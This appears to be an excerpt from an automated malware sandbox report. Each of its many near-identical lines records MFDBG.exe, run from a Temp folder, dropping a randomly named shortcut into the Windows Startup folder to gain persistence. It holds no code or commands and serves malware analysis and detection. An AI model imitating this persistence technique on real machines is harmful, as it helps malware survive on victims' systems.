Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6413f07228bf47ecba0251da93e50f1f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30490dabc6844727b73e8e52691c0e60.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcbf874b8a964199a56ff2ea752269dc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_776ad5f164614ce691eb6b14555bdf2f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5140013bd524588a82e603e4a25c8f4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65b16a18bbec4ca6a0f94c2581bf5aa7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55bb0b6241f144038e619559450cc027.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_506c20782e804d259dd6ace9e91ee497.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64063bfef1c54d9cb8893495e95ac390.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750cc4a4acdf46bb8e0f3268e69c19f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58f1d4805098494e9f52fb2ff6430c09.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0cd1473aef6b4f7caeb6929298d6e14d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cc307867aeb4819bf7f31ef416446f1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5df2e3404f2f4a3886801fb2c2554f7f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ece3ffb69f745669cf4dc80761961f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73e8b78942c84cebafed46b2026986ac.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a512bef118d466c86971eae5e0748fd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_47c5ef22bb674020bbb61448020c57ff.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_798460e03d46483d94b53e22adf2a27d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_711feef794b24e69b333bd32382bcc61.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6128621d8704ee88f0f9f8751f4f055.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97925695eaeb4fa99ef3d07b3364a3aa.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b538170f89d74383a2aa1cc9f8178927.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37b30dc543d9462093b006fc6e9c7215.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2172e70d8f8941b6a7ba3fd79c1cd6d7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdf629e416c34531ad018c25bd923da4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2384fd3cdd0540109f22dd6a618ea21d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85e020505e2c4fb39a80e3c7814e6f15.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c58a5ea717114af1a7b07d0d1fdc8645.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a14da65e9f04a8caf26d56ddc450cde.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b8a004423424b29bd11acdd7980fc3b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77ce7ae1869341dab054c317a4654eac.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da1e4f8ccbae417893432587d2d9d6d6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54617eaa7b5f4a7f9e7ea8fdddc621b2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24815749e57f472181f138465b4f08d6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_000913a568ed4d738231f15b80803587.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa225c5c8c6a46eca66358d18fff48cd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_002f3f6ff75f4e17818d290ab12069da.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_199a6424bac7478bb7d6b05c89fa5528.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_59391273af5a4ed6b6d28fb20deda29e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95a5ce44e77f40e38f6bc6631b040559.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90ee81aa2d014184b11d899e3374690b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73845d6e679f474b885ef827044829ce.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fc005b30e614e659c47e2897db2a44f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_001ca14e95544eb3bae7f53a99c59122.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c42eb6e0c204de7991da7f9e677f71f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b675142499f544fc9596aea88454a06c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74e63e958e6a414d9647d955a3f194ab.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db5099a348a64be98b858e3b9b00fdc0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae9f1b2d875a4c85a3db0db707256d46.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_210b3671a39542499bf3c5f2ae29b057.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bcc8b82efc7843dfba7345b4386399d1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02bdff4d6b074f2c89d6d452e778d691.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e326a108ecb64e3085e14c24a660d7e9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fc498ae8a0c4528b5aa9a6037cecfe5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97938e630ee342b9b1a7c5aef13f50d9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e4c427ba86e4885b904b5f555af08fc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1a08f77256e4599ad80d9a4518f045f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_451f6debdf324fc397b2170cd1028cd3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_457980ab57864402839ebb1e07ff3087.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66c868bdf9ed48388470fc2df97825f3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e510074b623e42789af397d94db3b224.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30ad132923e24e73bf06ace2583c2d0b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba0647e87d174101967374f78a4911a2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5422af8dab694e14afebd118c238b814.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_091f6f811cfc4478855c1dcecdd833ba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5422625da6c44bc2a5e828d1de6564b6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a45c21b0abaa461cad5331ab47086021.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8ecca115d024b618e2b7ac1d3cd109c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f640051222b6478c9dd5424d8d59753b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f77d0d349bd64140892ec937334c0296.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad0370ce75524c669e52ec8ab6d0eaab.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdd56662140b430d88d48dcdf5c3bb73.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b012f022d6074980a6835c869e5ea68c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d56421e2421427c8dbde996b2854560.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bd71069019c4c8a84202ba211b73656.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3966d2b3369a43a88b281d6b1efa984d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d2a4bb1c392743608ed662ae8cc5ff78.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e475e53f8f3340a49ed49032badce8ec.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5ae6ae4448a4f8cb97cbf6782257ef3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5925d94a5fd4469a9effe038ac10dc9e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2a213c413e742d28b37c3ea84436f2e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_749a07db995e4f6ca81a4182ffe2ee12.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2279e3650d4145d79931d71d75c2c056.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_15f87fd7abf64fe097d54d15da15666e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_581f3511dab24bdcb467f5aa588294dd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aba6b39338b3474ba9f5ddac46c2c0e2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0bf0494e587402eb4805aec481b14f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17995b2db0fc4e999ff3e01afd98addc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffe43873e05f4bb79feabc29d0c5621b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_798e381516ef47abbd6dfe976c12d6b2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e1f6dd75de44b1197c2483474d09b4a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_52e0c3a6374049dca958aa1f1e7bc2ee.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9273db959ff54b7fbd0e05f303094e20.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e6f08c60d71490f96fa1c79c457122f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7a3929f1a91b45939e000f8560d04d9b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25d0fc877b8a4f01b2cdd717422f9b62.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e9ee08dc981476abbb366a9b159535d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fc1fbb9db514ea6b23e1a2db44a2e3c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9065537c3ad749788d7a4a352d48595a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_778d79dcbc204c23844b1c35f411e5c8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b85bb17bbc5404e9aa14ef328111d48.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f6d09d2db48429aa01d1d82f477941c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63545c1caae84a11ab6bee247960b8e7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6da7150e64814de48f83eaeefb3a3877.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2974c1f66c30439d8d4583d7649926a3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe96f585bf8047a1a42a27c84105d67d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a626734936ae41cc95891d80433c8703.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c4a78964bd81480b8b29e1ff17335c52.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7a01b56f2e141cb8057e5b511facf43.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11f54785f92044d2bded889a1cd25f79.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd1ceea383824a0c9b00dfd9ab0e2881.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a657b94407249719df3b7b4dcab7a9d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ae163dd8bf4b15afb30d9b2b8e393e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_964e98210a9248c39c48588cadaec4bf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30aca79f147245789e1cbe6bd15313ad.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c592d95ad9034299a96f1a2926a688c3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eb3f7e76885c4c4c94d3aa3f4686c943.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b45fddfc05cd472da3f60d7488c96588.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc02304fec3247698de15812b2f696a5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_375ee0fa8aef455d90be4383dc613109.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_128ec3a54fa543118026bec247bbc55b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aab09c52ea484ef294a9819257559a09.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b71a58f1a50f451982eec6a5e96aa191.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8747ad4007774af7ac344000f504ed59.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb26f4d38de541d5b47a8a9582d8c1d3.lnk Jump to behavior
